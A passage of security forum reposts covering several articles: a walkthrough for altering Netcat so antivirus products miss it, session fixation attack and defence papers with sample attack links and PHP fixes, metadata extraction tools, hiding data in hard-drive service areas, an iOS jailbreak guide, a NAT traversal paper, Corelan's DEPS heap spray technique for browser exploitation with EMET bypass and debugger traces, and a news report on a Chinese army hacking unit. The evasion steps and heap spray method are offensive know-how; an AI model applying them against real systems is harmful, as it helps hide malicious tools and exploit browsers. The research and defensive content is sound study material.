with "909090". I save the file as "ncWithNOPs.exe". Now lets test our results. I will use the well known http://www.virustotal.com site to test the programs for Malware behaviour. First I check the original Netcat program (nc.exe): As we can see, this program is considering as a threat from 25 of 42 anti-virus programs (59.5% positive threat). Let's try my ncWithNOPs.exe to see what happens: This program is considering as a threat from 16 of 43 anti-virus programs (37.2% positive threat). Better results indeed, but not very impressive. We can conclude that this method is moderate but not good enough. It can be used when we would like to hide our program from specific anti-viruses. Method 2: Modifying the source code This method is more challenging but requires to have the source code and of course to know how to program! Ideal candidate for this method are all Open Source programs. Netcat is not an exception. Its source code that will be run on Windows can be found here. We can get the source code, modifying in such way that will produce a different executable with the same functionality. I used this method by making changes to the source code of Netcat without changing its actual behavior. The changes in source code I made was: 1. I change the name of any constant in the program (using global replace). 2. I change the name of any variable in the program (using global replace). 3. I change the name of any function in the program (using global replace). 4. I add more parameters to many functions that did nothing. 5. I change loops. For example I change While-loops to their For-loops equivalent. 6. I compile the program with no optimizations. This is because I wanted to keep all my "dummy" variables/parameters or loops intact. 7. I didn't use any packer in purpose. Many anti-viruses dislike them! Finally I recompile and test the program in order to check that retains its initial functionality. I rename the program to "test.exe" and I put it to the virus-total. The results were good: Only 1 (Nod32) of 43 anti-viruses was able to uncover the program, which is a 2.3% positive threat. Not bad huh? I am also sure that with some more modifications the final Netcat.exe would be totally invisible by any anti-virus. Remarks I will not provide you the final executable as a minimum defense line against script kiddies. If you know how to program it is VERY EASY to implement the above steps in the original source files. References http://dl.packetstormsecurity.net/papers/virus/Taking_Back_Netcat.pdf Sources You can download the original source code for Netcat for Windows from here. Posted by Andreas Venieris at 10:21 PM Sursa: 0x191 Unauthorized: Antivirus Hiding
  6. Session Fixation Vulnerability in Web-based Applications Mitja Kolšek mitja.kolsek@acrossecurity.com ACROS Security http://www.acrossecurity.com December 2002 (Revised February 2007 – the Acknowledgments section) Current copy available at http://www.acrossecurity.com/papers/session_fixation.pdf Abstract Many web-based applications employ some kind of session management to create a user-friendly environment. Sessions are stored on server and associated with respective users by session identifiers (IDs). Naturally, session IDs present an attractive target for attackers, who, by obtaining them, effectively hijack users’ identities. Knowing that, web servers are employing techniques for protecting session IDs from three classes of attacks: interception, prediction and brute-force attacks. This paper reveals a fourth class of attacks against session IDs: session fixation attacks. In a session fixation attack, the attacker fixes the user’s session ID before the user even logs into the target server, thereby eliminating the need to obtain the user’s session ID afterwards. There are many ways for the attacker to perform a session fixation attack, depending on the session ID transport mechanism (URL arguments, hidden form fields, cookies) and the vulnerabilities available in the target system or its immediate environment. The paper provides detailed information about exploiting vulnerable systems as well as recommendations for protecting them against session fixation attacks. Download: http://www.acros.si/papers/session_fixation.pdf
  7. Session Fixation Published in PHP Architect on 16 Feb 2004 Last Updated 16 Feb 2004 Pe vremea cand cautam asa ceva nu gaseam nimic... Security is gaining more and more attention among PHP professionals. As PHP continues to be a key component of the Web's future, malicious attackers will begin to target weaknesses in PHP applications more frequently, and developers need to be ready. I am very pleased to introduce Security Corner, a new monthly column that is focused completely on PHP security. Each month, I will discuss an important topic in great detail that can help you improve the security of your PHP applications and defend against various types of attacks. These topics will not be vague, general overviews, so if you are looking for an introduction to PHP application security, you will be better served by other sources of information such as the PHP manual's chapter on security. This month's topic is session fixation, a method of obtaining a valid session identifier without the need for predicting or capturing one. The name for this type of attack originates from a publication by Acros Security entitled Session Fixation Vulnerability in Web-based Applications, although the method itself predates the publication. I will expand on the basic idea of session fixation and demonstrate some methods of prevention, all in a PHP-specific context. Session Fixation Session security is a vast and complex topic. One of the fundamental principles of Web application security is to never trust data from the client. However, in order to achieve statefulness, the client must identify itself by sending a unique identifier. This fundamental conflict creates significant complexities for developers wanting to build secure, stateful applications. In fact, the session mechanism in any Web application is likely to be that application's most vulnerable feature, and session security is one of the most complex topics of Web application security on any platform. There are numerous types of session-based attacks. Many of these fit into a category called impersonation (session hijacking), where a malicious user attempts to access another user's session by posing as that user. At the very least, these types of attacks require that the malicious user obtain a valid session identifier, because this is the minimum amount of information that must be used for identification. There are at least three ways that a valid session identifier can be obtained by an attacker: Prediction Capture Fixation Prediction only involves guessing a valid session identifier. This guess can range from a wild guess to an educated one, depending upon the sophistication of the attack being used. With PHP's native session mechanism, valid session identifiers are extremely difficult to predict, so this is unlikely to be the weakest point in your implementation. Capturing a valid session identifier is much more common, and there are numerous types of attacks that use this approach. When a cookie is used to store the session identifier, a browser vulnerability might be exploited in order to obtain the session identifier. When a URL variable is used, the session identifier is more exposed, and there are many more potential methods of capture. For this reason, cookies are generally considered to be more secure than URL variables for session identifier propagation, although user preferences must be honored, and browser vulnerabilities exist in all versions of the most popular browser, Internet Explorer (see peacefire.org/security/iecookies/ and Passport Hacking Revisited for more information). Session fixation is a method that tricks a victim into using a session identifier chosen by the attacker. If successful, it represents the simplest method with which a valid session identifier can be obtained. A Simple Attack In the simplest case, a session fixation attack can use a link: <a href="http://host/index.php?PHPSESSID=1234"> Click here </a> Or a protocol-level redirect: <?php header('Location: http://host/index.php?PHPSESSID=1234'); ?> Other methods include the Refresh header, whether passed as a legitimate HTTP header or by using a meta tag's http-equiv attribute. The point is to get the user to visit a remote URL that includes a session identifier of the attacker's choosing. This is the first step in a basic attack, and the full-circle attack is illustrated in Figure 1. Figure 1: A typical session fixation attack If successful, the attacker is able to bypass the necessity of capturing or predicting a valid session identifier, and it is subsequently possible to launch additional and more dangerous types of attacks. Think you're not vulnerable? Consider the code in Listing 1. Save this code as session.php somewhere where you can test it. After you ensure that you have no existing cookies from the same host (clear all cookies if you're not certain), use a URL ending in session.php?PHPSESSID=1234 to visit the page. For example, http://host/session.php?PHPSESSID=1234. The script should output 0 on your screen upon your first visit. Reload the page a few times, and you should notice the number incrementing each time, indicating the number of previous visits. Listing 1 <?php session_start(); if (!isset($_SESSION['count'])) { $_SESSION['count'] = 0; } else { $_SESSION['count']++; } echo $_SESSION['count']; ?> With a different browser, or even an entirely different computer, go through the exact same initial steps. Upon visiting the URL for the first time, you will notice that you do not see 0. Rather, it recalls your previous session. Thus, you have impersonated the previous user. Now, if you consider that this all began with a session identifier being passed in the URL, you should see the basic danger that session fixation presents. Unlike a typical scenario, PHP did not generate the session identifier. There are a few shortcomings to this simplistic type of attack. The most important shortcoming is that the target application must use the session identifier passed to it, otherwise this attack will fail. If your session mechanism is nothing more than session_start(), your applications are vulnerable, as the previous demonstration illustrates. In order to prevent this specific vulnerability, you should always ensure that a new session identifier is used whenever you are starting a session for the first time. There are many ways this can be achieved, and one example is given in Listing 2 (this approach, too, has at least one weakness, so wait until you finish this article before deciding on the solution that best fits your needs). Listing 2 <?php session_start(); if (!isset($_SESSION['initiated'])) { session_regenerate_id(); $_SESSION['initiated'] = true; } ?> If the code in Listing 2 is used to start all sessions, any existing session will always have a session variable named initiated that is already set. If this is not the case, the session is new. The call to session_regenerate_id() replaces the current session identifier with a new one, although it retains the old session information. So, if the attacker coerced a user into using an external link to your application that contains the session identifier, this approach will prevent the attacker from knowing the new session identifier, unless the session has already been initiated. A Sophisticated Attack A more sophisticated session fixation attack is one that first initiates a session on the target site, optionally keeps the session from timing out, and then executes the steps mentioned previously. An alternative to the approach used in Listing 2 is to call session_regenerate_id() whenever a user successfully logs in, since this is the moment the session data becomes sensitive for most applications. For example, whenever you validate a user's username and password, you might set a session variable that indicates success: $_SESSION['logged_in'] = true; Just prior to setting such a session variable, a call to session_regenerate_id() can help to protect against a session fixation attack: session_regenerate_id(); $_SESSION['logged_in'] = true; In fact, a good approach is to always regenerate the session identifier whenever the user's privilege level changes at all, including situations where the user must re-authenticate due to a timeout. By doing this, you can be sure that a session fixation vulnerability is not the weakest aspect of your access control mechanism. This approach is more secure than the previous example, because it adds another significant obstacle for an attacker to overcome, and it prevents sophisticated attacks where a valid session is first created and maintained. Unfortunately, it still may have at least one weakness, although your application design should already prevent it. An Advanced Attack In the most advanced type of session fixation attack, the attacker first obtains a valid account on the target application ? and this is typically only appealing when the attacker can do so anonymously. On some PHP applications, the login page is a separate script, such as login.php, and this script may not check the user's state, because it seems safer to assume that the user has not been authenticated. On the contrary, this approach can allow an attacker to create a session, log into the application with that session, optionally keep the session from timing out, and use the URL to the login page to launch the attack. If the login page accepts the new user's login but fails to regenerate the session identifier (because the privilege level has not changed), a vulnerability exists. This scenario may seem unlikely, but a thorough examination of your code with this situation in mind is well worth your time. There are two easy ways to prevent this particular issue: Have the login page recognize the user's state. Always regenerate the session identifier on the receiving script, regardless of the user's state. Until Next Time... A good generic recommendation for preventing session fixation attacks is to regenerate the session identifier anytime the user provides authentication information of any kind. Be wary of passing along such a simplistic catch-all suggestion, however, because misinterpretations are likely when someone is unfamiliar with the type of attack being prevented. There is no substitute for a good understanding of session fixation, and it is possible that the best prevention for your applications is not even mentioned in this article. Hopefully, you can now eliminate session fixation from your list of serious security risks with which to be concerned. If you develop a particularly creative method of prevention, I would love to hear it. Until next month, be safe. Sursa: Chris Shiflett ? Session Fixation
  8. [h=2]Extracting Metada From Files[/h] Penetration testers must be able to think outside of the box and to use whatever method is necessary in order to discover information about their targets.Malicious attackers will not stop in the conventional tactics and this should apply and to the penetration tester.Many organizations are uploading in their websites word documents and excel files without been aware that they expose sensitive information.This information is hidden in the metadata of the files.Also in application assessments (web or mobile) it is a good practice except of the common vulnerabilities to check and the metadata in order to see if this information can be used in a malicious way.In this article we will examine some of the tools that we can use for metadata extraction and what kind of information can unveil. [h=2]Exiftool[/h] One of the tools that can extract Metadata information is the exiftool.This tool is found in Backtrack distribution and can extract information from various file types like DOC,XLS,PPT,PNG and JPEG.Typically the information that we would look for are: Title Subject Author Comments Software Company Manager Hyperlinks Current User Below is the information that we have obtained from an image and the metadata from a doc file. Extracting metadata of an image – exiftool Metadata of a doc file Metadata of a doc file 2 [h=2]FOCA[/h] FOCA is another great tool for analyzing metadata in documents.It is a GUI based tool which make the process a lot of easier.The only thing that we have to do is to specify the domain that we want to search for files and the file type (doc,xls,pdf) and FOCA will perform the job for us very easily.Below you can see a screenshot of the metadata that we have extracted from a doc file.As you can see we have obtained a username an internal path and the operating system that the file has created. FOCA – Metadata Conclusion As we have seen in this article metadata can unveil important information which can be used in conjunction with other attacks.Companies should be aware about this exposure of information that exist in their documents and before they upload something on public domain must use the appropriate tools first in order to remove the metadata from their files and to mitigate the risk. Sursa: Extracting Metada From Files
  9. Nytro

    RST Harlem Shake

    Da... eMAG.ro - cea mai variata gama de produse
  10. Hiding Data in Hard-Drive’s Service Areas Ariel Berkman <ariel@recover.co.il> Recover Information Technologies LTD http://www.recover.co.il February 14, 2013 Contents 1 Introduction 2 Service Areas and Service Area Modules 3 Service Area Sizes 4 Other Reserved Areas 5 Data Hiding and Sanitation 6 Proof of Concept 7 Summary 1 Introduction In this paper we will demonstrate how spinning hard-drives’ service areas1 can be used to hide data from the operating-system (or any software using the standard OS’s API or the standard ATA commands to access the hard-drive). These reserved areas are used by hard-drive vendors to store modules that in turn operate the drive, and in a sense, together with the ROM, serve as the hard-drive’s internal storage and OS. By sending Vendor Specific Commands (VSCs) directly to the hard-drive, one can manipulate these areas to read and write data that are otherwise inaccessible. This should not be confused with DCO2 or HPA3 which can be easily detected, removed and accessed via standard ATA commands. Download: http://www.recover.co.il/SA-cover/SA-cover.pdf
  11. Nytro

    Secitc 2013

    Par sa fie cateva chestii interesante: http://www.secitc.eu/wp-content/uploads/2012/05/ConferenceSchedule2012.pdf
  12. Nytro

    Secitc 2013

    SECITC 2013 Conference sections: Cryptographic Algorithms and Protocols Security Technologies for IT&C Information Security Management Cyber Defense Digital Forensic Conference Committees: We are proud to have in the conference’s committees, personalities from: Belgium, Canada, Czech Republic, France, Greece, Romania, UK, U.S.A. For the complete list, please visit our Commitees web page. Conference papers: will be published in a the printed and electronic volume of the Conference Proceedings with ISSN Selected papers from the conference will be considered for publication in extenso, in the supporting journals according with their reviewing policy. The supporting journals are indexed in international databases such as: EBSCO, DOAJ, Cabbels, Google Scholar, Index Copernicus, Cornell University Library. Journal of Mobile, Embedded and Distributed Systems SECITC 2013 will accept as full papers only a small amount of submissions. Additionally, it is possible to accept the submissions as short papers and as posters. The conference registration fee is 100 € (EURO) for non-students participants. Info: 6th International Conference on Security for Information Technology and Communications .................................................................................. Hmm, veniti?
  13. [h=1]Jailbreak 6.1.1 With Evasi0n 1.3 untethered for iPhone 4S released[/h]Freddy Kellison-Linn February 11, 2013 The evad3rs have just released the newest iteration of their iOS 6 untethered jailbreak, which works for the newest update for iOS 6, 6.1.1. This update was rushed out early for iPhone 4S in order to fix spotty 3G issues on the device, and is still fully jailbreakable with the current exploits. Read on to find out how to jailbreak iOS 6.1.1 untethered. Before you start Make sure you update to iOS 6.1.1 with a clean, full update from iTunes, preferably a full restore, the evad3rs have warned NOT to use OTA updating, as the jailbreak may not work if you do this. 1. Download the Evasi0n software, and open it on your computer (links here). You should see this screen (note that your copy of evasi0n should say 1.3): 2. Connect your device (Evasi0n should recognize it automatically). Evasi0n will warn you about any open applications that 3. Click “Jailbreak” and let the process begin 4. Partway through, Evasi0n will notify you to tap a new icon on your device. Unlock the screen and find the new application called “Jailbreak”. Tap that and your jailbreak will continue. 5. Wait for evasion to finish, and your device will reboot, showing the evasi0n logo and varios status messages. 6. When your device reboots, Cydia will be installed and your device will be jailbroken! Thats it! As with all untethered jailbreaks, there is no danger of rebooting your device, so there is no final step to boot tethered! What to do after you jailbreak: Best Evasi0n jailbreak tweaks, #2 , best themes Sursa: Jailbreak 6.1.1 iPhone 4S: Evasi0n 1.3 untethered jailbreak released
  14. "What is this sorcery?"
  15. Autonomous NAT Traversal Andreas Muller Nathan Evans Christian Grothoff Network Architectures and Services Technische Universit¨at M¨unchen Email: fmueller,evans,grothoffg@net.in.tum.de Samy Kamkar Email: samy@samy.pl Abstract—Traditional NAT traversal methods require the help of a third party for signalling. This paper investigates a new autonomous method for establishing connections to peers behind NAT. The proposed method for autonomous NAT traversal uses fake ICMP messages to initially contact the NATed peer. This paper presents how the method is supposed to work in theory, discusses some possible variations, introduces various concrete implementations of the proposed approach and evaluates empirical results of a measurement study designed to evaluate the efficacy of the idea in practice. I. INTRODUCTION A large fraction of the hosts in a typical peer-to-peer network are in home networks. Most home networks use network address translation (NAT) [1] to facilitate multiple computers sharing a single global public IP address, to enhance security or simply because the provider’s hardware often defaults to this configuration. Recent studies have reported that up to 70% of users access P2P networks from behind a NAT system [2]. This creates a well-known problem for peer-to-peer networks since it is not trivial to initiate a connection to a peer behind NAT. For this paper, we will use the term server to refer to a peer behind NAT and the term client for any other peer trying to initiate a connection to the server. Unless configured otherwise (protocols such as the Internet Gateway Device Protocol [3] are counted as configuration in this context), almost all NAT implementations refuse to forward inbound traffic that does not correspond to a recent matching outbound request. This is not primarily an implementation issue: if there are multiple hosts in the private network, the NAT is likely unable to tell which host is the intended recipient. Configuration of the NAT is not always an alternative; problems range from end-user convenience and capabilities of the specific NAT implementation to administrative policies that may prohibit changes to the NAT configuration (for example, due to security concerns). Since NAT systems prohibit inbound requests that do not match a previous outbound request, all existing NAT traversal techniques (aside from those changing the configuration of the NAT system) that we are aware of require some amount of active facilitation by a third party [4], [5]. The basic approach in most of these cases is that the server in the private network behind the NAT is notified by the third party that the client would like to establish a connection. The server then initiates the connection to the client. This requires that the server maintains a connection to a third party, that the client is able to locate the responsible third party and that the third party acts according to a specific protocol. The goal of this paper is autonomous NAT traversal, meaning NAT traversal without a third party. Using third parties increases the complexity of the software and potentially introduces new vulnerabilities. For example, if anonymizing peer-to-peer networks (such as GNUnet [6] or Tor [7]) used third parties for NAT traversal, an attacker may be able to monitor connections or even traffic volumes of peers behind NATs which in turn might enable deanonymization attacks [8], [9]. Another problem is that the decrease in available globally routable IPv4 addresses [10] will in the near future sharply reduce the fraction of hosts that would be able to facilitate NAT traversal. Download: http://samy.pl/pwnat/pwnat.pdf
  16. DEPS – Precise Heap Spray on Firefox and IE10 Published February 19, 2013 | By Corelan Team (corelanc0d3r) Introduction Last week, while doing my bi-weekly courseware review and update, I discovered that my heap spray script for Firefox 9 no longer works on recent versions. Looking back at the type of tricks I had to use to make a precise spray work under Firefox 9 and IE 9, and realizing that these changes don’t seem to have any useful effect on Firefox or IE 10, I think it’s fair to state that we can no longer rely on classic BSTR string allocations to perform a precise heap spray, or any heap spray for that matter. On top of that, the Firefox 9 heap spray was not only ugly, it was also pretty slow, which might be a deal-breaker for reliable exploitation. If the user gets the chance to kill the browser process before the spray has finished and the bug is triggered, you won’t be greeted with a shell. Of course, that doesn’t mean it is now impossible to perform a precise heap spray in modern browsers. Federico Muttis and Anibal Sacco from Core security recently published the results of their research on HTML5 spraying, which offers a great way to take advantage of new technology to perform heap allocations in modern browsers. The advantage of their technique is that HTML5 is not limited to just IE or Firefox, since it also works on Webkit based browsers such as Google Chrome and Safari. Federico & Anibal were kind enough to provide me with the source of their script to create html5 based spray routines. You can download the script at Files - Heap Spray Scripts - Corelan Team (HTML5Spray.zip). Anyways, I decided not to use HTML5 and wanted to try something different. It’s a well known fact that the use of BSTR strings to replace a freed object in a browser Use-After-Free scenario can be problematic. It is generally expected to find the vtable pointer at the top of the object, and that is also exactly where the BSTR header field will be placed after you have replaced the freed object with a BSTR string. In other words, although you might be able to replace the object, you won’t be able to fake the vtable pointer with something you control. A common technique to overcome this issue is based on DOM elements. This technique requires you to create one or more DOM elements (image, div, etc), and then set a property, containing the payload you want to write into the freed object. For images, this property could be .src or .title. For div objects, .className might be a solid option. Anyways, since this allows you to cause precise allocations (providing that you take the terminating null byte into account, of course), I wanted to see if it would be possible to use the same technique for a full blown heap spray. After playing with some sizes, I managed to put a script together that works on Firefox, and all versions of Internet Explorer. On top of that, performance is a lot better than my older heapspray scripts for FF9 and IE9, and because I’m hitting a higher memory region with this type of spray, we can also bypass the default EMET heapspray protection. The technique The idea is based on creating a large number of DOM elements and setting an element property to a specific value. I have tested this concept using button elements, but I don’t see a reason why this would be limited to buttons only. You might even be able to use a mix of various elements and play with the size where needed. For that reason, I’ve decided to name this technique "DOM Element Property Spray". Since there seems to be a strong desire in the infosec industry to create confusing 4-letter abbreviations, I decided to name this technique "DEPS". If your favorite security appliance claims to prevent DEPS, you’ll know what it is. Or not. Again, the use of DOM elements to cause precise allocations is not new, but I hadn’t seen a heap spray based on this concept. In short, the DEPS technique is based on 4 steps: put a div element on the page Create a number of buttons set the title property with your payload and use substring() to make sure it has the desired length add the button to the div The script This is what the basic script looks like: You can get a copy of the scripts used in this post here: Files - Heap Spray Scripts - Corelan Team (deps_corelan_ff_ie_spray.zip). The archive password is ‘infected’ (without the quotes). As you can see, this script no longer focuses on getting the start of a ROP chain positioned at 0x0c0c0c0c. Since we can no longer execute code directly (without disabling DEP first), and use 0c0c0c0c as the target for vtable dereferences and nops at the same time, the use of 0x0c0c0c0c as a target has pretty much lost its true value. On top of that, our target address doesn’t really need to consist of 4 times the same byte. Allocations should be 4 byte aligned, so we should not have any issues with hitting the right spot every time. The div element in the document is used as a placeholder, so the div_container.appendChild() can store the elements and their title property in memory and keep them there. Due to the size of the allocations, all chunks are part of the VirtualAllocdBlocks list of the default heap. The current version of the script targets 0×20202210 or 0×20302210 on Firefox (depending on the number of iterations you’re using – 0×20302210 has been pretty reliable for me so far), and 0×20202228 or 0×20302228 on IE8/9/10 (XP/Win7/Win8). This is quite interesting, because we no longer need to differentiate between IE versions to deliver a precise heap spray. Based on my tests, I found 0×20302228 to be more reliable than 0×20202228. Of course, it is very easy to change the offset value in the script and move the actual start of the ROP chain to another address, if that is what you need or want to do. A convenient side effect of this higher memory range is that we’re hitting a higher memory address region, one that contains addresses that consist of ascii printable characters, which might offer some additional benefits in case you’ve found an oldskool stack buffer overflow that has tight character restrictions. If you want to use a different element property, you could try to play with obj.style.fontFamily as well. In fact, you can even set 2 different properties at once, which should decrease the number of iterations you need in order to get to a predictable address: Finally, this technique doesn’t require any data randomization at this point, nor ugly tricks with variable names and eval(), which also helps ensuring the spray can be delivered in a relatively fast way. Test environment In all cases, the latest 32bit version of a specific browser was used, on fully patched versions of the OS. Tests were performed on virtual machines (VirtualBox, VMWare) and physical machines, and verified to work after reboots. All tests on Windows 7 were performed with EMET 3.5 enabled & configured to detect/prevent heapsprays: In Windows 8, tests were performed on a default IE10 installation. Results Firefox 18 on Windows 7: (this works on OS X too) IE8 on Windows XP: IE9 on Windows 7: IE10 on Windows 8: In all cases, the heap layout of a chunk that contains the string "AAAABBBBCCCCDDDD…" (which is basically just the indication of where the ROP chain is placed) looks like this: VirtualAlloc Chunk header (0×20 bytes) Junk (spaces) ROP chain (AAAABBBBCCCCDDDD…) Shellcode (\xcc\xcc\xcc\xcc…) Junk (spaces) Spray analysis What exactly happens when you run the basic version of the DEPS heap spray ? Let’s do some tracing & logging on Windows XP SP3, IE8. First of all, let’s change the core routine and insert some calls to Math.atan2() to interact with WinDBG from Javascript: for (var i = 0; i < 0x500; i++) { Math.atan2(0xbabe, " [*] Creating object button...."); var obj = document.createElement("button"); Math.atan2(0xbabe, " [*] Assigning data to title."); obj.title = data.substring(0,0x40000-0x58); //aligned spray Math.atan2(0xbabe, " [*] Let's AppendChild"); div_container.appendChild(obj); } The following breakpoint in WinDBG allows you to print out the Math.atan2() messages: bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" Next, set the following breakpoint to see when a button gets created: bp mshtml!CButton::CreateElement+16 ".printf \"Object at %08x\",eax; .echo;" When you run the html page, WinDBG should display the "Creating object button" message and break at the CreateElement function: [*] Creating object button.... Object at 00214dc0 eax=00214dc0 ebx=6363c470 ecx=7c9101bb edx=00000058 esi=032114f0 edi=020bf190 eip=639944f7 esp=020bf130 ebp=020bf134 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CButton::CreateElement+0x16: 639944f7 8bf0 mov esi,eax Set a breakpoint at RtlAllocateHeap to log all subsequent allocations and print out the call stack. This should give us all allocation information until the next button gets created. bp ntdll!RtlAllocateHeap+117 ".printf \"Allocate at %08x\", eax; .echo; k; .echo; g" With this breakpoint set, continue to run the process. You will now get information about all allocations within one iteration. One single iteration creates these allocations: Allocate at 0293d588 Allocate at 0293ea00 Allocate at 02866780 Allocate at 039b0020 <--- First interesting allocation Allocate at 0293eb68 Allocate at 03b50020 <--- Second interesting allocation Allocate at 02917718 Allocate at 001eff28 Allocate at 001effd8 Allocate at 00217d18 Allocate at 0293d568 Allocate at 002150c0 The first interesting allocation happens right after the debugging message "Assigning data to title." It has the following callstack: Allocate at 039b0020 ChildEBP RetAddr 020bf330 77124b32 ntdll!RtlAllocateHeap+0xeac 020bf344 77124c5f OLEAUT32!APP_DATA::AllocCachedMem+0x4f 020bf354 633a8242 OLEAUT32!SysAllocStringByteLen+0x2e 020bf368 6338f693 jscript!PvarAllocBstrByteLen+0x6c 020bf3d4 63390403 jscript!JsStrSubstrCore+0x1d8 020bf3f4 633a8561 jscript!JsStrSubstring+0x20 020bf45c 633a7127 jscript!NatFncObj::Call+0x103 020bf4e0 633a6650 jscript!NameTbl::InvokeInternal+0x2a2 020bf514 6339f39f jscript!VAR::InvokeByDispID+0x17c 020bf554 633a67c9 jscript!VAR::InvokeJSObj<SYM *>+0xb8 020bf590 633a77ff jscript!VAR::InvokeByName+0x170 020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a 020bf60c 633a83a9 jscript!VAR::InvokeByDispID+0xce 020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x28ab 020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff 020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f 020bf958 633891f1 jscript!CSession::Execute+0x175 020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0 020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a 020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30 Since the first allocation uses jscript!JsStrSubstring, I assume this is triggered by this JScript code in the spray: data.substring(0,0x40000-0x58); The second allocation occurs right before the debugging message "Let’s AppendChild". It has the following callstack: Allocate at 03b50020 ChildEBP RetAddr 020bf16c 63651871 ntdll!RtlAllocateHeap+0xeac 020bf190 6364130b mshtml!CAttrValue::InitVariant+0x154 020bf1c8 63641259 mshtml!CAttrArray::Set+0x174 020bf1f0 636518d7 mshtml!CAttrArray::Set+0x51 020bf224 63651849 mshtml!CAttrArray::SetString+0x44 020bf23c 6366913f mshtml!BASICPROPPARAMS::SetString+0x69 020bf2a4 63610e83 mshtml!BASICPROPPARAMS::SetStringProperty+0x200 020bf2cc 63610eb8 mshtml!CBase::put_StringHelper+0x64 020bf2e8 6366906f mshtml!CBase::put_String+0x29 020bf318 636430c9 mshtml!GS_BSTR+0x1ab 020bf38c 6366418a mshtml!CBase::ContextInvokeEx+0x5d1 020bf3dc 6362b6ce mshtml!CElement::ContextInvokeEx+0x9d 020bf408 63642eec mshtml!CInput::VersionedInvokeEx+0x2d 020bf458 633a6d37 mshtml!PlainInvokeEx+0xea 020bf498 633a6c75 jscript!IDispatchExInvokeEx2+0xf8 020bf4d4 633a9cfe jscript!IDispatchExInvokeEx+0x6a 020bf594 633a9f3c jscript!InvokeDispatchEx+0x98 020bf5c8 633a77ff jscript!VAR::InvokeByName+0x135 020bf614 633a75bf jscript!VAR::InvokeDispName+0x7a 020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x1f27 Since this allocation uses SetString, I assume this is what actually assigns data to the property. The combination of the use of substring, using a DOM element property, and adding the element to a div that was created in the html document earlier, ensures that copies of the data are created, and allocated in memory. The string created with substring will eventually disappear, but the SetString() allocated data remains in memory. (thanks sinn3r for this analysis) © 2013, Corelan Team (corelanc0d3r). All rights reserved. Sursa: https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/
  17. [h=1]Chinese Army Unit Is Seen as Tied to Hacking Against U.S.[/h] This 12-story building on the outskirts of Shanghai is the headquarters of Unit 61398 of the People’s Liberation Army. China’s defense ministry has denied that it is responsible for initiating digital attacks. [h=6]By DAVID E. SANGER, DAVID BARBOZA and NICOLE PERLROTH[/h] [h=6]Published: February 18, 2013[/h] On the outskirts of Shanghai, in a run-down neighborhood dominated by a 12-story white office tower, sits a People’s Liberation Army base for China’s growing corps of cyberwarriors. The building off Datong Road, surrounded by restaurants, massage parlors and a wine importer, is the headquarters of P.L.A. Unit 61398. A growing body of digital forensic evidence — confirmed by American intelligence officials who say they have tapped into the activity of the army unit for years — leaves little doubt that an overwhelming percentage of the attacks on American corporations, organizations and government agencies originate in and around the white tower. An unusually detailed 60-page study, to be released Tuesday by Mandiant, an American computer security firm, tracks for the first time individual members of the most sophisticated of the Chinese hacking groups — known to many of its victims in the United States as “Comment Crew” or “Shanghai Group” — to the doorstep of the military unit’s headquarters. The firm was not able to place the hackers inside the 12-story building, but makes a case there is no other plausible explanation for why so many attacks come out of one comparatively small area. “Either they are coming from inside Unit 61398,” said Kevin Mandia, the founder and chief executive of Mandiant, in an interview last week, “or the people who run the most-controlled, most-monitored Internet networks in the world are clueless about thousands of people generating attacks from this one neighborhood.” Other security firms that have tracked “Comment Crew” say they also believe the group is state-sponsored, and a recent classified National Intelligence Estimate, issued as a consensus document for all 16 of the United States intelligence agencies, makes a strong case that many of these hacking groups are either run by army officers or are contractors working for commands like Unit 61398, according to officials with knowledge of its classified content. Mandiant provided an advance copy of its report to The New York Times, saying it hoped to “bring visibility to the issues addressed in the report.” Times reporters then tested the conclusions with other experts, both inside and outside government, who have examined links between the hacking groups and the army (Mandiant was hired by The New York Times Company to investigate a sophisticated Chinese-origin attack on its news operations, but concluded it was not the work of Comment Crew, but another Chinese group. The firm is not currently working for the Times Company but it is in discussions about a business relationship.) While Comment Crew has drained terabytes of data from companies like Coca-Cola, increasingly its focus is on companies involved in the critical infrastructure of the United States — its electrical power grid, gas lines and waterworks. According to the security researchers, one target was a company with remote access to more than 60 percent of oil and gas pipelines in North America. The unit was also among those that attacked the computer security firm RSA, whose computer codes protect confidential corporate and government databases. Contacted Monday, officials at the Chinese embassy in Washington again insisted that their government does not engage in computer hacking, and that such activity is illegal. They describe China itself as a victim of computer hacking, and point out, accurately, that there are many hacking groups inside the United States. But in recent years the Chinese attacks have grown significantly, security researchers say. Mandiant has detected more than 140 Comment Crew intrusions since 2006. American intelligence agencies and private security firms that track many of the 20 or so other Chinese groups every day say those groups appear to be contractors with links to the unit. While the unit’s existence and operations are considered a Chinese state secret, Representative Mike Rogers of Michigan, the Republican chairman of the House Intelligence Committee, said in an interview that the Mandiant report was “completely consistent with the type of activity the Intelligence Committee has been seeing for some time.” Full article: http://www.nytimes.com/2013/02/19/technology/chinas-army-is-seen-as-tied-to-hacking-against-us.html?_r=0
